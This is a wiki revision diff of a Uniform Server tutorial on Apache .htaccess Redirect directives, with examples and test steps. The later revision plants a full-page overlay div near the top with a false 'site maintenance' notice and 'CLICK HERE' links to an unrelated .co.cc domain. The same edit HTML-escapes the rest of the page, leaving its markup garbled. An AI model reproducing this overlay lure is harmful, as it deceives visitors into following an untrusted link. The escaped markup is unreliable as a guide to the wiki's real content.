Htaccess: Redirect: Difference between revisions

no edit summary
(New page: <span id="top"></span> <div style="padding:0;margin:0; border-bottom:3px inset #000000"> {| | MPG UniCenter || .htaccess: [[Htaccess: Introduction | Introduc...)
 
No edit summary
Line 1: Line 1:
<span id="top"></span>
----
<div style="padding:0;margin:0; border-bottom:3px inset #000000">
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ozoqemuvo.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://ozoqemuvo.co.cc CLICK HERE]=
----
</div>
&lt;span id=&quot;top&quot;&gt;&lt;/span&gt;
&lt;div style=&quot;padding:0;margin:0; border-bottom:3px inset #000000&quot;&gt;
{|  
{|  
|[[Image:uc_small_logo.gif | MPG UniCenter]] ||
|[[Image:uc_small_logo.gif | MPG UniCenter]] ||
Line 11: Line 19:


|}
|}
</div>
&lt;/div&gt;
{| cellpadding="2"
{| cellpadding=&quot;2&quot;
|
|
__TOC__
__TOC__
Line 30: Line 38:
Looking at this in a little more detail using this example
Looking at this in a little more detail using this example


'''Redirect /olddirectory/oldfile.html <nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>'''
'''Redirect /olddirectory/oldfile.html &lt;nowiki&gt;http://yoursite.com/newdirectory/newfile.html&lt;/nowiki&gt;'''
<ol>
&lt;ol&gt;
<li> '''Redirect'''
&lt;li&gt; '''Redirect'''
* This is the Apache command followed by a space
* This is the Apache command followed by a space
<li> '''/olddirectory/oldfile.html'''
&lt;li&gt; '''/olddirectory/oldfile.html'''
* This is the path to the old file you want redirected
* This is the path to the old file you want redirected
* It is stated in a relative file format
* It is stated in a relative file format
* Again followed by a space
* Again followed by a space
<li> '''<nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>'''
&lt;li&gt; '''&lt;nowiki&gt;http://yoursite.com/newdirectory/newfile.html&lt;/nowiki&gt;'''
* This is the full (URL) path of the location you want the request redirected to
* This is the full (URL) path of the location you want the request redirected to
</ol>
&lt;/ol&gt;


You would place a Redirect command in the root htaccess file for each file you want to redirect.
You would place a Redirect command in the root htaccess file for each file you want to redirect.
Line 47: Line 55:
Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:
Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:


'''Redirect /olddirectory <nowiki>http://yoursite.com/newdirectory</nowiki>'''
'''Redirect /olddirectory &lt;nowiki&gt;http://yoursite.com/newdirectory&lt;/nowiki&gt;'''
<ol>
&lt;ol&gt;
<li> '''Redirect'''
&lt;li&gt; '''Redirect'''
* This is the Apache command followed by a space
* This is the Apache command followed by a space
<li> '''/olddirectory'''
&lt;li&gt; '''/olddirectory'''
* This is the path to the old directory you want redirected
* This is the path to the old directory you want redirected
* It is stated in a relative file format
* It is stated in a relative file format
* Again followed by a space
* Again followed by a space
<li> '''<nowiki>http://yoursite.com/newdirectory</nowiki>'''
&lt;li&gt; '''&lt;nowiki&gt;http://yoursite.com/newdirectory&lt;/nowiki&gt;'''
* This is the full (URL) path of the location you want the request redirected to
* This is the full (URL) path of the location you want the request redirected to
</ol>
&lt;/ol&gt;


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 64: Line 72:


{|
{|
|-style="background:#cccccc"
|-style=&quot;background:#cccccc&quot;
!Comment
!Comment
!Code
!Code
|-style="background:#f9f9f9"
|-style=&quot;background:#f9f9f9&quot;
|
|
# Navigate to the root folder '''www'''.
# Navigate to the root folder '''www'''.
Line 74: Line 82:
# Save the file
# Save the file
|
|
<pre style="padding:4px;margin:0;border:none">
&lt;pre style=&quot;padding:4px;margin:0;border:none&quot;&gt;
# This file provides security to the server limiting access to the localhost only.
# This file provides security to the server limiting access to the localhost only.
# Comment to deactivate.
# Comment to deactivate.
Line 90: Line 98:
# Defaults: Username = admin; Password = userver
# Defaults: Username = admin; Password = userver


#AuthName "Uniform Server - Secure Server Access"
#AuthName &quot;Uniform Server - Secure Server Access&quot;
#AuthType Basic
#AuthType Basic
#AuthUserFile /htpasswd/www/.htpasswd
#AuthUserFile /htpasswd/www/.htpasswd
Line 96: Line 104:


Redirect /old http://localhost/moved
Redirect /old http://localhost/moved
</pre>
&lt;/pre&gt;
|}
|}


Line 102: Line 110:


# Run the server using Server_Start.bat
# Run the server using Server_Start.bat
# In the browser address bar type '''<nowiki>http:/localhost/old</nowiki>'''
# In the browser address bar type '''&lt;nowiki&gt;http:/localhost/old&lt;/nowiki&gt;'''
# You will be redirected to the folder '''<nowiki>http://localhost/moved/</nowiki>'''
# You will be redirected to the folder '''&lt;nowiki&gt;http://localhost/moved/&lt;/nowiki&gt;'''


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 111: Line 119:
'''Testing'''
'''Testing'''
# Run the server using Server_Start.bat
# Run the server using Server_Start.bat
# In the browser address bar type '''<nowiki>http:/localhost/old/not_found.html</nowiki>'''
# In the browser address bar type '''&lt;nowiki&gt;http:/localhost/old/not_found.html&lt;/nowiki&gt;'''
# You will be redirected to the file '''<nowiki>http://localhost/moved/not_found.html</nowiki>'''
# You will be redirected to the file '''&lt;nowiki&gt;http://localhost/moved/not_found.html&lt;/nowiki&gt;'''


Well you get the idea experiment with files it is similar to the folder example.
Well you get the idea experiment with files it is similar to the folder example.
Line 122: Line 130:
Below is a small extract from my .htaccess file you will see I am using page redirection:  
Below is a small extract from my .htaccess file you will see I am using page redirection:  


<pre>
&lt;pre&gt;
Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability
Line 132: Line 140:
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section
</pre>
&lt;/pre&gt;


'''''Tip'':''' I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.
'''''Tip'':''' I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.
Line 138: Line 146:
=== Errors ===
=== Errors ===
Any typos in the .htaccess file will cause Apache to spit out the following error message:
Any typos in the .htaccess file will cause Apache to spit out the following error message:
<pre>
&lt;pre&gt;
Internal Server Error
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
The server encountered an internal error or misconfiguration and was unable to complete your request.
</pre>
&lt;/pre&gt;


Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.
Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.
322

edits